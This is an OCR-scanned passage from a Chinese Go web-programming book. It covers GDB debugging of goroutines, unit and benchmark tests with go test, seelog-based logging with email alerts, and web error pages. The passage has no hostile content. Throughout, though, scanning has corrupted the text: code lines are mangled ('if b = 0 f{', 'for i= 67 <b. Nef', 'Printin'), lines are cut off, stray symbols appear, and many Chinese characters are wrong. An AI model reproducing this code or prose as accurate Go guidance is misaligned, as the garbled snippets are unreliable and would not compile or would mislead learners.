22 for count := range bus { 

23 fmt.Println("count:", count) 
24 } 

25 } 


现在 GDB 在 运行 当前 的 程序 的 环境 中 已 经 保留 了 一 些 有 用 的 调试 信息 ， 我 们 只 需 打 
印 出 相应 的 变量 ， 查 看 相应 变量 的 类 型 及 值 : 


(gdb) info locals 

count = 0 

bus = 0xf840001a50 

(gdb) p count 

$1 = 0 

(gdb) p bus 

$2 = (chan int) Oxf840001a50 
(gdb) whatis bus 

type = chan int 


接 下 来 该 让 程序 继续 往 下 执行 ， 请 继续 看 下 面 的 命令 


(gdb) c 

Continuing. 

count: 0 

[New LWP 3303] 
[Switching to LWP 3303] 


Breakpoint 1, main.main () at /home/xiemengjun/gdbfile.go:23 
23 fmt.Printin("count:", count) 

(gdb) c 

Continuing. 

count: 1 

[Switching to LWP 3302] 


Breakpoint 1, main.main () at /home/xiemengjun/gdbfile.go:23 
23 fmt.Println("count:", count) 


每 次 输入 c 之 后 都 会 执行 一 次 代码 ， 又 跳 到 下 一 次 for 循 环 ， 继 续 打印 出 来 相应 的 


信息 。 


设想 目前 需要 改变 上 下 文 相关 变量 的 信息 ， 跳 过 一 些 过程 ， 并 继续 执行 下 一 步 ， 得 
出 修改 后 想 要 的 结果 : 


(gdb) info locals 

count = 2 

bus = 0xf840001a50 
(gdb) set variable count=9 
(gdb) info locals 

count = 9 

bus = 0xf840001a50 
(gdb) c 

Continuing. 

count: 9 

[Switching to LWP 3302] 


Breakpoint 1, main.main () at /home/xiemengjun/gdbfile.go:23 
23 fmt.Println("count:", count) 


最 后 稍微 思考 一 下 ， 前 面 整 个 程序 运行 的 过 程 中 到 底 创 建 了 多 少 个 goroutine， 每 个 
goroutine 都 在 做 什么 : 


(gdb) info goroutines 

* 1 running runtime.gosched 

* 2 syscall runtime.entersyscall 

3 waiting runtime.gosched 

4 runnable runtime.gosched 

(gdb) goroutine 1 bt 

#0 0x000000000040e33b in runtime.gosched () at /home/xiemengjun/go, 
#1 0x0000000000403091 in runtime.chanrecv (c=void, ep=void, selecte 
at /home/xiemengjun/go/src/pkg/runtime/chan.c:327 

#2 0x000000000040316f in runtime.chanrecv2 (t=void, c=void) 

at /home/xiemengjun/go/src/pkg/runtime/chan.c:420 

#3 0x0000000000400d6f in main.main () at /home/xiemengjun/gdbfile. ¢ 
#4 0x000000000040d0c7 in runtime.main () at /home/xiemengjun/go/sr¢ 
#5 0x000000000040d16a in schedunlock () at /home/xiemengjun/go/src, 
#6 Ox0000000000000000 in ?? () 


[EE 


通过 查看 goroutines 的 命令 我 们 可 以 清楚 地 了 解 goruntine 内 部 是 怎么 执行 的 ， 每 个 
函数 的 调用 顺序 已 经 明明 白白 地 显示 出 来 了 。 





小 结 


本 小 节 我 们 介绍 了 GDB 调 斌 Go 程序 的 一 些 基 本 命令 ， 包 

插 run, print, info, set variable, coutinue 、 list, break 
等 经 常用 到 的 调试 命 分 ， 通 过 上 面 的 例子 演示 ， 我 相信 读者 已 经 对 于 通过 GDB 调 试 
Go 程序 有 了 基本 的 理解 ， 如 果 你 想 获取 更 多 的 调试 技巧 请 参考 官方 网 站 的 GDB 调 
试 手册 ， 还 有 GDB 官 方 网 站 的 手册 。 


links 
e@ Ax 
e 上 一 节 : 错误 义理 
e 下 一 节 : Go 怎么 写 测 试用 例 


11.3 Go 怎么 写 测 试用 例 


开发 程序 其 中 很 重要 的 一 点 是 测试 ， 我 们 如 何 保证 代码 的 质量 ， 如 何 保证 每 个 本 数 
是 可 运行 ， 运 行 结果 是 正确 的 ， 又 如 何 保证 写 出 来 的 代码 性 能 是 好 的 ， 我 们 知道 单 
元 测试 的 重点 在 于 发 现 程序 设计 或 实现 的 逻辑 错误 ， 使 问题 及 早 暴 露 ， 便 于 问题 的 
定位 解决 ， 而 性 能 测试 的 重点 在 于 发 现 程序 设计 上 的 一 些 问 题 ， 让 线 上 的 程序 能 够 
在 高 并 发 的 情况 下 还 能 保持 稳定 。 本 小 节 将 带 着 这 一 连 串 的 问题 来 讲解 Go 语言 中 如 
何 来 实现 单元 测试 和 性 能 测试 。 


Go 语言 中 自 带 有 一 个 轻 量 级 的 测试 框架 testing 和 自 带 的 go test 命令 来 实现 
单元 测试 和 性 能 测试 ， testing 框架 和 其 他 语言 中 的 测试 框架 类 似 ， 你 可 以 基于 
这 个 框架 写 针 对 相应 画 数 的 测试 用 例 ， 也 可 以 基于 该 框架 写 相 应 的 不力 测试 用 例 ， 
那么 接 下 来 让 我 们 一 一 来 看 一 下 怎么 写 。 


如 何 编写 测试 用 例 

由 于 go test 命令 只 能 在 一 个 相应 的 目录 下 执行 所 有 文件 ， 所 以 我 们 接 下 来 新 建 
一 个 项 目 目录 gotest ,这 样 我 们 所 有 的 代码 和 测试 代码 都 在 这 个 目录 下 。 

接 下 来 我 们 在 该 目录 下 面 创建 两 个 文件 : gotest.go 和 gotest_ test.go 

1. A tee ane PDA-N Em SRB 


package gotest 


import ( 
"errors" 
) 


func Division(a, b float64) (float64, error) { 
if b = 0 f{ 
return 0, errors.New("BREXAAE HO" ) 


return a / b, nil 


2. gotest test.go: 这 是 我 们 的 单元 测试 文件 ， 但 是 记 住 下 面 的 这 些 原则 : 


o 文件 名 必须 是 _test.go 结尾 的 ， 这 样 在 执行 go test 的 时 候 才 会 执行 
到 相应 的 代码 

o 你 必须 import testing 这 个 包 

所 有 的 测试 用 例 画 数 必须 是 Test 开头 

测试 用 例会 按照 源 代码 中 写 的 顺序 依次 执行 


ie) 


(0) 


fe} 


fe) 


测试 画 数 Testxxx() 的 参数 是 testing.T ， 我 们 可 以 使 用 该 类 型 来 记 

录 错 误 或 者 是 测试 状态 

测试 格式 : func TestXxx (t *testing.T) , Xxx 部 分 可 以 为 任意 的 

字母 数字 的 组 合 ， 但 是 首 字母 不 外 是 小 写字 母 [a- -Z]， 例 如 Testintdiv 是 
错误 的 画 数 名 。 

PAX it AAA testing.T 的 Error ，Errorf , FailNow ，Fatal , 


FatalIf 方法 ， 说 明 测 试 不 通过 ， 调 用 Log 方法 用 来 记录 测试 的 信 


下 面 是 我 们 的 测试 用 例 的 代码 : 


package gotest 


import ( 
"testing" 
) 
func Test_Division_1(t *testing.T) { 
if i, e := Division(6, 2); i !=3 || e != nil { //try au 
t.Error(" 除 法 函数 测试 没 通过 " ) // 如 果 不 是 如 预期 的 那么 就 报错 
} else { 


t,Log(" 第 一 个 测试 通过 了 " ) // 记 录 一 些 你 期 望 记 录 的 信息 





func Test_Division_2(t *testing.T) { 
t .Error(" 就 是 不 通过 ") 
} 


我 们 在 项 目 目 录 下 面 执行 go test ,就 会 显示 如 下 信息 : 
--- FAIL: Test_Division_2 (0.00 seconds) 


gotest_test.go:16: 就 是 不 通过 


FAIL exit status 1 FAIL gotest 0.013s 从 这 个 结果 显示 测试 没有 通过 
为 在 第 二 个 测试 画 数 中 我 们 写 死 了 测试 不 通过 的 代码 t.error ， 那 么 我 
们 的 第 一 个 函数 执行 的 情况 怎么 样 呢 ?默认 情况 下 执行 go test 是 不 会 


显示 测试 通过 的 信息 的 ， 我 们 需要 带 上 参数 go test -v ， 这 样 就 会 显 
示 如 下 信息 : 


=== RUN Test_Division_1 --- PASS: Test_Division_1 (0.00 seconds) 


gotest_test.go:11: 第 一 个 测试 通过 了 


=== RUN Test_Division_2 --- FAIL: Test_Division_2 (0.00 seconds) 


gotest_test.go:16: 就 是 不 通过 


FAIL exit status 1 FAIL gotest 0.012s 上 面 的 输出 详细 的 展示 了 这 个 测试 
的 过 程 ， 我 们 看 到 测试 画 数 1 Test_Division_1 ”a 而 测 2 
2 Test_Division_2 测试 失败 了 ， 最 后 得 出 结论 测试 不 通过 。 接 下 来 我 
们 把 测试 画 数 2 修 改 成 如 下 代码 : 


func Test_Division_2(t *testing.T) { 


if _, e := Division(6, 0); e == nil { //try a unit test o 
t.Error("Division did not work as expected.") // 如 果 : 
} else { 


t.Log("one test passed.", e) // 记 录 一 些 你 期 望 记录 的 信息 





二 了 肯 


} 
然后 我 们 执行 go test -v ， 就 显示 如 下 信息 ， 测 试 通过 了 : 
=== RUN Test_Division_1 --- PASS: Test Division _ 1 (0.00 seconds) 


gotest_test.go:11: 第 一 个 测试 通过 了 


=== RUN Test_Division_2 --- PASS: Test Division 2 (0.00 seconds) 


gotest_test.go:20: one test passed. 除数 不 能 为 0 


PASS ok gotest 0.013s 


如 何 编 写 压 力 测 试 


压力 测试 用 来 检测 函数 (方法 ) 的 性 能 ， 和 编写 单元 功能 测试 的 方法 类 似 , 此 处 不 再 
凌 述 ， 但 需要 注意 以 下 几 点 : 


。 压力 测试 用 例 必须 遵循 如 下 格式 ， 其 中 XXX 可 以 是 任意 字母 数字 的 组 合 ， 但 是 
首 字母 不 能 是 小 写字 母 


func BenchmarkXXX(b *testing.B) { ... } 


e go test 不 会 黑 认 执行 压力 测试 的 范 数 ， 如 果 要 执行 压力 测试 需要 带 上 参 
数 -test.bench ， 语 法 : -test.bench="test_name_regex" , 例 
如 go test -test.bench=".*" 表示 测试 全 部 的 压力 测试 图 数 


。 在 压力 测试 用 例 中 ,请 记得 在 循环 体内 使 用 testing.B.N ,以 使 测试 可 以 正常 
的 运行 
o 文件 名 也 必须 以 test.go 结尾 


下 面 我 们 新 建 一 个 压力 测试 文件 webbench_test.go， 代 码 如 下 所 示 : 


package gotest 


import ( 
"testing" 
) 


func Benchmark_Division(b *testing.B) { 
for i := 0; i < b.N; i++ { //use b.N for looping 
Division(4, 5) 
} 
} 


func Benchmark_TimeConsumingFunction(b *testing.B) { 
b.StopTimer() // 调 用 该 汞 数 停止 压力 测试 的 时 间 计 数 


// 做 一 些 初始 化 的 工作 , 例如 读 取 文件 数据 , 数据库 连接 之 类 的 ， 
// 这 样 这 些 时 间 不 影响 我 们 测试 画 数 本 身 的 性 能 


b.StartTimer() // 重 新 开始 时 间 
for i= 67 <b. Nef 
Division(4, 5) 


} 


我 们 执行 命令 go test -file webbench_test.go -test.bench=".*" ， 可 以 看 
到 如 下 结果 : 


PASS 

Benchmark_Division 500000000 7.76 ns/op 
Benchmark_TimeConsumingFunction 500000000 7.80 ns/ol 
ok gotest 9.364s 


4 a oO 








上 面 的 结果 显示 我 们 没有 执行 任何 Testxxx 的 单元 测试 辑 数 ， 显 示 的 结果 只 执行 
了 压力 测试 函数 ， 第 一 条 显示 了 Benchmark_Division 执行 了 500000000 次 ， 每 
次 的 执行 平均 时 间 是 7.76 纳 秒 ， 第 二 条 显示 

了 Benchmark_TimeConsumingFunction 执行 了 500000000， 每 次 的 平均 执行 时 
间 是 7.80 纳 秒 。 最 后 一 条 显示 总 共 的 执行 时 间 。 


小 结 


通过 上 面 对 单 元 测试 和 压力 测试 的 学 习 ， 我 们 可 以 看 到 testing 包 很 轻 量 ， 编 写 
单元 测试 和 压力 测试 用 例 非常 简单 ， 配 合 内 冒 的 go test 命令 就 可 以 非常 方便 的 
进行 测试 ， 这 样 在 我 们 每 次 修改 完 代 码 ,执行 一 下 go test 就 可 以 简单 的 完成 回 兴 测试 


o 
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e 目录 
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e 下 一 节 : 


小 结 


11.4 小 结 


本 章 我 们 通过 三 个 小 节 分 别 介 绍 了 Go 语言 中 如 何 处 理 错误 ， 如 何 设计 错误 处 理 ， 然 
后 第 二 小 节 介 绍 了 如 何 通 过 GDB 来 调试 程序 ， 通 过 GDB 我 们 可 以 单 步调 试 、 可 以 查 
看 变量 、 修 改变 量 、 打 印 执行 过 程 等 ， 最 后 我 们 介绍 了 如 何 利 用 Go 语言 自 带 的 轻 量 
级 框架 testing 来 编写 单元 测试 和 压力 测试 ， 使 用 go test 就 可 以 方便 的 执行 
这 些 测 试 ， 使 得 我 们 将 来 代码 升级 修改 之 后 很 方便 的 进行 回归 测试 。 这 一 章 也 许 对 
于 你 编写 程序 逻辑 没有 任何 帮助 ， 但 是 对 于 你 编写 出 来 的 程序 代码 保持 高 质量 是 至 
关 重 要 的 ， 因 为 一 个 好 的 Web 应 用 必定 有 良好 的 错误 处 理 机 制 (错误 提示 的 友好 、 可 
E i a st 
预期 的 运行 。 


Go 怎么 写 测试 用 例 
: 部 署 与 维护 


12 部 署 与 维护 


到 目前 为 止 ， 我 们 前 面 已 经 介绍 了 如 何 开发 程序 、 调 试 程序 以 及 测试 程序 ， 正 如 人 
们 常 说 的 : 开发 最 后 的 10% 需 要 花费 90% 的 时 间 ， 所 以 这 一 章 我 们 将 强调 这 最 后 的 
10% 部 分 ， 要 真正 成 为 让 人 信任 并 使 用 的 优秀 应 用 ， 需 要 考虑 到 一 些 细节 ， 以 上 所 
说 的 10% 就 是 指 这 些小 细节 。 


本 章 我 们 将 通过 四 个 小 节 来 介绍 这 些小 细节 的 处 理 ， 第 一 小 节 介 绍 如 何在 生产 服务 
上 记录 程序 产生 的 日 志 ， 如 何 记 录 日 志 ， 第 二 小 节 介 绍 发 生 错 误 时 我 们 的 程序 如 何 
处 理 ， 如 何 保证 尽量 少 的 影响 到 用 户 的 访问 ， 第 三 小 节 介 绍 如 何 来 部 署 Go 的 独立 程 
序 ， 由 于 目前 Go 程序 还 无 法 像 C 那 样 写成 daemon， 那 么 我 们 如 何 管理 这 样 的 进程 
程序 后 台 运 行 呢 ? 第 四 小 节 将 介绍 应 用 数据 的 备份 和 恢复 ， 尽 量 保证 应 用 在 月 溃 的 
情况 能 够 保持 数据 的 完整 性 。 


目录 
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12.1 应 用 日 志 


我 们 期 望 开 发 的 Web 点 用 程序 能 够 把 整个 程序 运行 过 程 中 出 现 的 各 种 事件 一 一 记录 
下 来 ，Go 语 言 中 提供 了 一 个 简易 的 log 包 ， 我 们 使 用 该 包 可 以 方便 的 实现 日 志 记 录 
的 功能 ， 这 些 日 ae ee oe 类 的 画 数 来 进行 一 般 的 打 

印 、 抛 出 错误 义理 。 Go 目前 标准 包 只 是 包含 了 简单 的 功能 ， 如 果 我 们 想 把 我 们 的 启 
用 日 志保 存 到 文件 ， 然 后 又 能 够 结合 日 志 实现 很 多 复 杀 的 功能 (编写 过 Java 或 者 

C++ 的 读者 应 该 都 使 用 过 log4j 和 log4cpp 之 类 的 日 志 工 具 ) , 可 以 使 用 第 三 方 开发 
的 一 个 日 志 系 统 ， https://github.com/cihub/seelog ， 它 实现 了 很 强大 的 日 
志 功 能 。 接 下 来 我 们 介绍 如 何 通过 该 日 志 系 统 来 实现 我 们 应 用 的 日 志 功 能 。 


seelog 介 


seelog 是 用 Go 语言 实现 的 一 个 日 志 系 统 ， 它 提供 了 一 些 简 单 的 函数 来 实现 复 灯 的 日 
志 分 配 、 过 滤 和 格式 化 。 主 要 有 如 下 特性 : 


e XML 的 动态 配置 ， 可 以 不 用 重新 编译 程序 而 动态 的 加 载 配置 信息 

。 支 持 热 更 新 ， 能 够 动态 改变 配置 而 不 需要 重启 应 用 

@ 支持 多 输出 流 ， 能 够 同时 把 日 志 输 出 到 多 种 流 中 、 例 如 文件 流 、 网 络 流 和 
。 支持 不 同 的 日 志 输 出 


命令 行 输出 
文件 输出 

缓存 输出 
支持 log rotate 
SMTP 邮 件 


上 面 只 列举 了 部 分 特性 ， e RB a i 详细 的 内 容 请 参 
看 官方 wiki。 接 下 来 我 将 简要 介绍 一 下 如 何在 项 目 中 使 用 它 : 


首先 安装 seelog 


O O O 0 0 


go get -u github.com/cihub/seelog 


后 我 们 来 看 一 个 简单 的 例子 


package main 
import log "github.com/cihub/seelog" 
func main() { 


defer log.Flush() 
log.Info("Hello from Seelog!") 


编译 后 运行 如 果 出 现 了 Hello from seelog ， 说 明 seelog 日 志 系 统 已 经 成 功 安装 
并 且 可 以 正常 运行 了 。 


基于 seelog 的 目 定 义 日 志 义 理 
seelog 支 持 自 定 义 日 志 人 处 理 ， 下 面 是 我 基于 它 自 定义 的 日 志 人 处 理 包 的 部 分 内 容 : 


package logs 


import ( 
"errors" 
" fmt " 
seelog "github.com/cihub/seelog" 
" io " 
) 


var Logger seelog.LoggerInterface 


func loadAppConfig() { 
appConfig := ` 
<seelog minlevel="warn"> 
<outputs formatid="common"> 
<rollingfile type="size" filename="/data/logs/roll.log" ma 
<filter levels="critical"> 
<file path="/data/logs/critical.log" formatid="critica: 
<smtp formatid="criticalemail" senderaddress="astaxie@ 
<recipient address="xiemengjun@gmail.com"/> 
</smtp> 
</filter> 
</outputs> 
<formats> 
<format id="common" format="%Date/%Time [%LEV] %Msg%n" /> 
<format id="critical" format="%File %FullPath %Func %Msg%n' 
<format id="criticalemail" format="Critical error on our se 
</formats> 
</seelog> 


logger, err := seelog.LoggerFromConfigAsBytes([]byte(appConfig. 
if err != nil { 
fmt.Println(err) 
return 
} 
UseLogger (logger) 


} 


func init() { 
DisableLog() 
loadAppConfig() 


// DisableLog disables all library log output 
func DisableLog() { 
Logger = seelog.Disabled 


// UseLogger uses a specified seelog.LoggerInterface to output libi 
// Use this func if you are using Seelog logging system in your apy 
func UseLogger(newLogger seelog.LoggeriInterface) { 

Logger = newLogger 


} 
| __# 








上 面 主 要 实现 了 三 个 函数 ， 
e DisableLog 


初始 化 全 局 变量 Logger 为 seelog 的 禁用 状态 ， 主 要 为 了 防止 Logger 被 多 次 初始 
化 
e loadAppConfig 


根据 配置 文件 初始 化 seelog 的 配置 信息 ， 这 里 我 们 把 配置 文件 通过 字符 串 读 取 
设置 好 了 ， 当 然 也 可 以 通过 读 取 XML 文 件 。 里 面 的 配置 说 明 如 下 : 


o Seelog 
minlevel 参 数 可 选 ， 如 果 被 配置 ,高 于 或 等 于 此 级 别 的 日 志 会 被 记录 ， 同 理 
maxlevel, 

o outputs 


输出 信息 的 目的 地 ， 这 里 分 成 了 两 份 数据 ， 一 份 记 录 到 log rotate 文 件 里 
面 。 另 一 份 设置 了 filter， 如 果 这 个 错误 级 别 是 critical， 那 么 将 发 送 报 警 邮 


件 。 
o formats 
定义 了 各 种 日 志 的 格式 


e UseLogger 
设置 当前 的 日 志 器 为 相应 的 日 志 人 处 理 
上 面 我 们 定义 了 一 个 自 定 义 的 日 志 义 理 包 ， 下 面 就 是 使 用 示例 : 


package main 


import ( 
"net/http" 
"project/logs" 
"oroject/configs" 
"project/routes" 


) 


func main() { 
addr, _ := configs.MainConfig.String("server", "addr" ) 
logs.Logger.Info("Start server at:%v", addr) 
err := http.ListenAndServe(addr, routes.NewMux()) 
logs.Logger.Critical("Server err:%v", err) 


发 生 错误 发 送 邮 件 
上 面 的 例子 解释 了 如 何 设置 发 送 邮 件 ， 我 们 通过 如 下 的 smtp 配 置 用 来 发 送 邮 件 : 
<Smtp formatid="criticalemail" senderaddress="astaxie@gmail.com" st 


<recipient address="xiemengjun@gmail.com"/> 
</smtp> 


al __ 


邮件 的 格式 通过 criticalemail 配 置 ， 然 后 通过 其 他 的 配置 发 送 邮 件 服务 器 的 配置 ， 通 
过 recipient 配 置 接收 邮件 的 用 户 ， 如 果 有 多 个 用 户 可 以 再 添加 一 行 。 


要 测试 这 个 代码 是 否 正常 工作 ， 可 以 在 代码 中 增加 类 似 下 面 的 一 个 假 消 息 。 不 过 记 
住 过 后 要 把 它 删 除 ， 否 则 上 线 之 后 就 会 收 到 很 多 垃圾 邮件 。 





logs.Logger.Critical("test Critical message") 


现在 ， 只 要 我 们 的 应 用 在 线 上 记录 一 个 Critical 的 信息 ， 你 的 邮箱 就 会 收 到 一 个 
Email， 这 样 一 旦 线 上 的 系统 出 现 问题 ， 你 就 能 立马 通过 邮件 获知 ， 就 能 及 时 的 进 
行 处 理 。 


使 用 应用 日 志 


对 于 应 用 日 志 ， 每 个 人 的 应 用 场景 可 能 会 各 不 相同 ， 有 些 人 利用 应 用 日 志 来 做 数据 
分 析 ， 有 些 人 利用 应 用 日 志 来 做 性 能 分 析 ， 有 些 人 来 做 用 户 行为 分 析 ， 还 有 些 就 是 
纯粹 的 记录 ， 以 方便 应 用 出 现 问题 的 时 候 辅 助 查找 问题 。 


一 个 例子 ， 我 们 需要 跟踪 用 户 党 试 登陆 系统 的 操作 。 这 里 会 把 成 功 与 不 成 功 的 党 
志 部 忆 录 下 宁 记录 成 功 的 使 用 "Info" 日 志 级 别 ， 而 不 成 功 的 使 用 "warn" 级 别 。 如 果 
想 查 找 所 有 不 成 功 的 登陆 ， 我 们 可 以 利用 linux 的 grep 之 类 的 命 全 工具 ， 如 下 : 


# cat /data/logs/roll.log | grep "failed login" 
2012-12-11 11:12:00 WARN : failed login attempt from 11.22.33.44 us 


«| = _ | 


通过 这 种 方式 我 们 就 可 以 很 方便 的 查找 相应 的 信息 ，3 qa ee 
做 一 些 统计 和 分 析 。 另 外 我 们 还 需要 考虑 日 志 的 大 小 ， 对 于 一 个 高 流量 的 Web 应 用 
来 说 ， 日 志 的 增长 是 相当 可 怕 的 ， 专 以 我 们 在 seciog 的 配置 文件 里 面 没 六 证 了 
ea 这 样 就 能 保证 日 志文 件 不 会 因为 不 断 变 大 而 导致 我 们 的 磁盘 空间 不 够 引 
2 问题 。 








小 结 


通过 上 面 对 seelog 系 统 及 如 何 基 于 它 进 行 自 定义 日 志 系统 的 学 习 ， 现 在 我 们 可 以 很 
轻松 的 随 需 构建 一 个 合适 的 功能 强大 的 日 志 义 理 系 统 了 。 日 志 义 理 系 统 为 数据 分 析 
提供 了 可 靠 的 数据 源 ， 上 比如 通过 对 日 志 的 分 析 ， ER 步 优化 系统 ， 或 者 应 
用 出 现 问题 时 方便 查找 定位 问题 ， 另 外 seelog 也 提供 了 日 志 分 级 功能 ， 通 过 对 
minlevel 的 配置 ， 我 们 可 以 很 方便 的 设置 测试 或 发 布 版 本 的 输出 消息 Lal: 


12.2 网 站 错误 义理 


我 们 的 Web 应 用 一 旦 上 线 之 后 ， 那 么 各 种 错误 出 现 的 概率 都 有 ，Web 应 用 日 常 运 行 
中 可 能 出 现 多 种 错误 ， 具 体 如 下 所 示 : 


。 数据 库 错 误 : 指 与 访问 数据 库 服务 器 或 数据 相关 的 错误 。 例 如 ， 以 下 可 能 出 现 
的 一 些 数据 库 错误 。 


o 连接 错误 : 这 一 类 错误 可 能 是 数据 库 服务 器 网 络 断 开 、 用 户 名 密码 不 正 
确 、 或 者 数据 库 不 存在 。 

o 查询 错误 : 使 用 的 SQL 非法 导致 错误 ， 这 样子 SQL 错误 如 果 程 序 经 过 严格 
的 测试 应 该 可 以 避免 。 

o 数据 错误 : 数据 库 中 的 约束 冲突 ， 例 如 一 个 唯一 字段 中 插入 一 条 重复 主键 
的 值 就 会 报错 ， 但 是 如 果 你 的 应 用 程序 在 上 线 之 前 经 过 了 严格 的 测试 也 是 
T auuey 

° 应 用 运行 时 错误 : 这 类 错误 范围 很 广 ， 泗 瘟 了 代码 中 出 现 的 几乎 所 有 错误 。 可 
能 的 应 用 错误 的 情 况 如 下 : 


o 文件 系统 和 权限 : 应 用 读 取 不 存在 的 文件 ， 或 者 读 取 没有 权限 的 文件 、 或 
者 写 入 一 个 不 允许 宇 入 的 文件 ， 这 些 都 会 导致 一 个 错误 。 应 用 污 取 的 文件 
如 果 格 式 不 正确 也 会 报错 ， 例 如 配置 文件 应 该 是 ini 的 配置 格式 ， 而 设置 成 
了 json 格 式 就 会 报错 。 

o 第 三 方 应 用 : 如 果 我 们 的 应 用 程序 耦合 了 其 他 第 三 方 接口 程序 ， 例 如 应 用 
程序 发 表 文 章 之 后 自动 调用 接 发 微 博 的 接口 ， 所 以 这 个 接口 必须 正常 运行 
才能 完成 我 们 发 表 一 篇 文章 的 功能 。 

HTTP 错 误 : 这 些 错误 是 根据 用 户 的 请 求 出 现 的 错误 ， 最 常见 的 就 是 404 错 误 。 
虽然 可 能 会 出 现 很 多 不 同 的 错误 ， 但 其 中 比较 常见 的 错误 还 有 401 未 授权 错误 
(需要 认证 才能 访问 的 资源 )、403 禁 止 错误 (不 允许 用 户 访问 的 资源 ) 和 503 错 误 
(程序 内 部 出 错 )。 


操作 系统 出 错 : 这 类 错误 都 是 由 于 应 用 程序 上 的 操作 系统 出 现 错误 引起 的 ， 主 
要 有 操作 系统 的 资源 被 分 配 完了 ， 导 致死 机 ， 还 有 操作 系统 的 磁盘 满 了 ， 导 致 
无 法 守信 ， 这 样 就 会 引起 很 多 错误 。 

网 络 出 错 : 指 两 方面 的 错误 ， 一 方面 是 用 户 请 求 应 用 程序 的 时 候 出 现 网 络 断 
开 ， 这 样 就 导致 连接 中 断 ， 这 种 错误 不 Ze ith ey FASS AAR SR, 但 是 会 影响 用 
户 访问 的 效果 ; 另 一 方面 是 应 用 程序 读 取 其 他 网 络 上 的 数据 ， 其 他 网 络 断 开会 
导致 读 取 失败 ， 这 种 需要 对 应 用 程序 做 有 效 的 测试 ， 能 够 避免 这 类 问题 出 现 的 
情况 下 程序 崩溃 。 


错误 义理 的 目标 
在 实现 错误 处 理 之 前 ， 我 们 必须 明确 错误 处 理想 要 达到 的 目标 是 什么 ， 错 误 处 理 系 
统 应 该 完成 以 下 工作 : 


。 通知 访问 用 户 出 现 错误 了 : 不 论 出 现 的 是 一 个 系统 错误 还 是 用 户 错误 ， 用 户 都 
应 当知 道 Web 应 用 出 了 问题 ， 用 户 的 这 次 请 求 无 法 正确 的 完成 了 。 例 如 ， 对 于 


用 户 的 错误 请 求 ， 我 们 显示 一 个 统一 的 错误 页 面 (404.html)。 出 现 系 统 错误 
时 ， 我 们 通过 自 定义 的 错误 页 面 显示 系统 暂时 不 可 用 之 类 的 错误 页 面 
(error.html). 

© 记录 错误 : RAW MBE, ER A ei eri Anil AB 
况 ， 可 以 使 用 前 面 小 节 介 绍 的 日 志和 有 系统 记录 到 日 志文 件 。 如 果 是 一 些 致命 错 
误 ， 则 通过 邮件 通知 系统 管理 员 。 一 般 404 之 类 的 错误 不 需要 发 送 邮件 ， 只 需 
要 记录 到 日 志 系 统 。 

。 回 滚 当前 的 请 求 操 作 : 如 果 一 个 用 户 请 求 过 程 中 出 现 了 一 个 服务 器 错误 ， 那 么 
已 完成 的 操作 需要 回 滚 。 下 面 来 看 一 个 例子 : 一 个 系统 将 用 户 递交 的 表单 保存 
到 数据 库 ， 并 将 这 个 数据 递交 到 一 个 第 三 方 服务 器 ， 但 是 第 三 方 服务 器 挂 了 ， 
这 就 导致 一 个 错误 ， 那 么 先前 存储 到 数据 库 的 表单 数据 应 该 删除 (应 告知 无 
效 )， 而 且 应 该 通知 用 户 系 统 出 现 错误 了 。 

e。 保证 现 有 程序 可 运行 可 服务 : 我 们 知道 没有 人 能 保证 程序 一 定 能 够 一 直 正 常 的 
运行 着 ， 万 一 哪 一 天 程序 崩溃 了 ， 那 么 我 们 就 需要 记录 错误 ， 然 后 立刻 让 程序 
A 

问题 。 


如 何 处 理 错误 


错误 处 理 其 实 我 们 已 经 在 十 一 章 第 一 小 节 里 面 有 过 介绍 如 何 设计 错误 处 理 ， 这 里 我 
们 再 从 一 个 例子 详细 的 讲解 一 下 ， 如 何 来 处 理 不 同 的 错误 : 


e 通知 用 户 出 现 错误 : 


通知 用 户 在 访问 页 面 的 时 候 我 们 可 以 有 两 种 错误 : 404.html 和 error.html， 下 面 
分 别 显 示 了 错误 页 面 的 源码 : 


<html lang="en"> 

<head> 
<meta http-equiv="Content-Type" content="text/html; chars 
<title> 找 不 到 页 面 </title> 
<meta name="viewport" content="width=device-width, initié 


</head> 

<body> 

<div class="container"> 

<div class="row"> 
<div class="spani10"> 
<div class="hero-unit"> 

<hi>404!</h1i> 
<p>{{.ErroriInfo}}</p> 


</div> 
</div><!--/span--> 
</div> 
</div> 
</body> 


</html> 








另 一 个 源码 : 


4 a 


<html lLang="en"> 

<head> 
<meta http-equiv="Content-Type" content="text/html; chars 
<title> RAe n M</title> 
<meta name="viewport" content="width=device-width, initie 


</head> 

<body> 

<div class="container"> 

<div class="row"> 
<div class="span10"> 
<div class="hero-unit"> 

<h1> 系 统 暂 时 不 可 用 !</h1> 
<p>{{.ErroriInfo}}</p> 


</div> 
</div><!--/span--> 
</div> 
</div> 
</body> 
</html> 





404 的 错误 处 理 逻 辑 ， 如 果 是 系统 的 错误 也 是 类 似 的 操作 ， 同 时 我 们 看 到 在 : 


func (p *MyMux) ServeHTTP(w http.ResponseWwriter, r *http.Requ 


if r.URL.Path == "7" { 
sayhelloName(w, r) 
return 

} 

NotFound404(w, r) 

return 


} 


func NotFound404(w http.Responsewriter, r *http.Request) { 
1og.Error(" 页 面 找 不 到 ")  // 记 录 错 误 日 志 


t, _ = t.ParseFiles("tmpl/404.html", nil)  // 解 析 模 板 文件 
ErrorInfo := "文件 找 不 到 " // 获 取 当 前 用 户 信息 


t.Execute(w, ErrorInfo)  // 执 行 模板 的 merger 操 作 
} 


func SystemError(w http.Responsewriter, r *http.Request) { 
1og,Critical(" 系 统 错误 ")  ”// 系 统 错误 触发 了 Critical， 那 么 不 仅 台 


t, = t.ParseFiles("tmpl/error.html", nil) // 解 析 模 板 文件 
ErrorInfo := "系统 暂时 不 可 用 " // 获 取 当 前 用 户 信息 


t.Execute(w, ErrorInfo) // 执 行 模板 的 merger 操 作 








如 何 处 理 异 瘦 


我 们 知道 在 很 多 其 他 语言 中 有 try...catch 关 键 词 ， 用 来 捕获 异常 情况 ， 但 是 其 实 很 多 
错误 都 是 可 以 预期 发 生 的， 而 不 需要 异常 人 处理， 应 该 当做 错误 来 处理 ， 这 也 是 为 什 
么 Go 语言 采用 函数 返回 错误 的 设计 ， 这 些 函 数 不 会 panice， 例 如 如 果 一 个 文件 找 
不 到 ，os.Open 返 回 一 个 错误 ， 它 不 会 panic ; 如 果 你 向 一 个 中 断 的 网 络 连接 写 数 

据 ，net.Conn 系 列 类 型 的 Write 函 数 返 回 一 个 错误 ， 它 们 不 会 panic。 这 些 状 态 在 这 
样 的 程序 里 都 是 可 以 预期 的 。 你 知道 这 些 操作 可 能 会 失败 ， 因 为 设计 者 已 经 用 返回 
